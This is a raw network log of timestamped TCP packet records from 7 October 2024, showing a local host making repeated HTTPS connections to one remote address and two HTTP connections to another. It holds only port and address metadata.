Oct 7, 2024 18:01:16.849574089 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.849653959 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.849829912 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.849845886 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.412096024 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.412628889 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.412683964 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.413047075 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.413063049 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.413544893 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.413795948 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.413814068 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.414077997 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.414088964 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.431329966 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.431725025 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.431742907 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.432110071 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.432116032 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.518848896 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.519376040 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.519399881 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.519752026 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.519812107 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.519846916 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.519854069 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.519881010 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520030975 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520057917 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.520073891 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520081043 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.520509005 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.520663977 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.520741940 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520893097 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520910025 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.520932913 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.520945072 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.522748947 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.522789955 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.522886992 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.522919893 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.522922039 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.522980928 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.523118973 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.523119926 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.523129940 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.523133993 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.532763958 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.533051014 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.533062935 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.533401012 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.533406019 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.543437958 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.543504953 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.543606997 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.543631077 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.543648005 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.543658018 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.543663979 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.545478106 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.545520067 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.545587063 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.545698881 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.545711994 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.632208109 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.632277966 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.632335901 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.632519960 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.632519960 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.632566929 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.632596970 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.635067940 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.635108948 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.635201931 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.635353088 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.635358095 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.640273094 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.640346050 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.640492916 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.640563965 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.640598059 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.640635967 CEST	60297	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.640651941 CEST	443	60297	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.642502069 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.642535925 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:17.642591953 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.642810106 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:17.642826080 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.493168116 CEST	49722	80	192.168.2.4	199.232.214.172
Oct 7, 2024 18:01:18.493297100 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 7, 2024 18:01:18.499178886 CEST	80	49722	199.232.214.172	192.168.2.4
Oct 7, 2024 18:01:18.499269962 CEST	49722	80	192.168.2.4	199.232.214.172
Oct 7, 2024 18:01:18.499308109 CEST	80	49724	199.232.214.172	192.168.2.4
Oct 7, 2024 18:01:18.499350071 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 7, 2024 18:01:18.644612074 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.645159006 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.645200014 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.645581007 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.645587921 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.649761915 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.650132895 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.650175095 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.650459051 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.650465965 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.652704000 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.652945042 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.652972937 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.653239012 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.653245926 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.653409958 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.653615952 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.653633118 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.653918028 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.653924942 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.665317059 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.665700912 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.665724993 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.666004896 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.666013002 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.749407053 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.749556065 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.749613047 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.749766111 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.749794006 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.749808073 CEST	60300	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.749814987 CEST	443	60300	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.752131939 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.752161980 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.752238035 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.752351046 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.752358913 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.755852938 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.756011963 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.756067038 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.756124020 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.756136894 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.756149054 CEST	60299	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.756155014 CEST	443	60299	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.758022070 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.758116961 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.758196115 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.758315086 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.758335114 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.762473106 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.762550116 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.762594938 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.762651920 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.762674093 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.762685061 CEST	60298	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.762691975 CEST	443	60298	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.764784098 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.764826059 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.764888048 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.765007973 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.765007973 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.765044928 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.765058041 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.765109062 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.765142918 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.765162945 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.765177965 CEST	60301	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.765185118 CEST	443	60301	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.767417908 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.767436981 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.767510891 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.767658949 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.767673016 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.775381088 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.775553942 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.775620937 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.775651932 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.775651932 CEST	60302	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.775666952 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.775680065 CEST	443	60302	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.777450085 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.777498007 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:18.777575970 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.777693033 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:18.777713060 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.396612883 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.397476912 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.397499084 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.397938013 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.397943020 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.401263952 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.401601076 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.401670933 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.401958942 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.401974916 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.409146070 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.409418106 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.409445047 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.409713984 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.409718990 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.411010027 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.411220074 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.411226034 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.411499977 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.411509991 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.432073116 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.432425022 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.432436943 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.432763100 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.432768106 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.498728037 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.498902082 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.499005079 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.499149084 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.499149084 CEST	60306	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.499171019 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.499183893 CEST	443	60306	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.502159119 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.502203941 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.502306938 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.502494097 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.502501011 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.507239103 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.507327080 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.507427931 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.507524014 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.507565022 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.507617950 CEST	60307	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.507635117 CEST	443	60307	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.509778023 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.509833097 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.509916067 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.510020018 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.510040045 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.518528938 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.518671989 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.518750906 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.518868923 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.518884897 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.518894911 CEST	60303	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.518899918 CEST	443	60303	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521317959 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521389008 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521464109 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521532059 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521682024 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521718979 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521734953 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521758080 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521770954 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521785021 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.521800041 CEST	60304	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.521805048 CEST	443	60304	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.525605917 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.525624037 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.525717020 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.525836945 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.525847912 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.543952942 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.544028044 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.544159889 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.544481039 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.544492006 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.544528008 CEST	60305	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.544533968 CEST	443	60305	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.547017097 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.547063112 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:19.547147989 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.547314882 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:19.547332048 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.159832954 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.160305023 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.160391092 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.160408020 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.160789013 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.160805941 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.160851955 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.160859108 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.161197901 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.161204100 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.163084984 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.163397074 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.163410902 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.163829088 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.163834095 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.204484940 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.208575010 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.208611012 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.209041119 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.209048033 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.212033987 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.212503910 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.212515116 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.212891102 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.212899923 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.265431881 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.265613079 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.265690088 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.265788078 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.265788078 CEST	60308	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.265808105 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.265816927 CEST	443	60308	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.268394947 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.268455982 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.268536091 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.268695116 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.268707037 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.268872023 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.269035101 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.269093990 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.269121885 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.269143105 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.269160986 CEST	60310	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.269166946 CEST	443	60310	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.270908117 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.270931959 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.271004915 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.271122932 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.271136999 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.273433924 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.273598909 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.273663044 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.273679018 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.273685932 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.273694992 CEST	60309	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.273699045 CEST	443	60309	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.275516033 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.275625944 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.275692940 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.275808096 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.275823116 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.310364008 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.310549974 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.310605049 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.310642004 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.310658932 CEST	443	60312	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.310672045 CEST	60312	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.310681105 CEST	443	60312	13.107.253.45	192.168.2.4
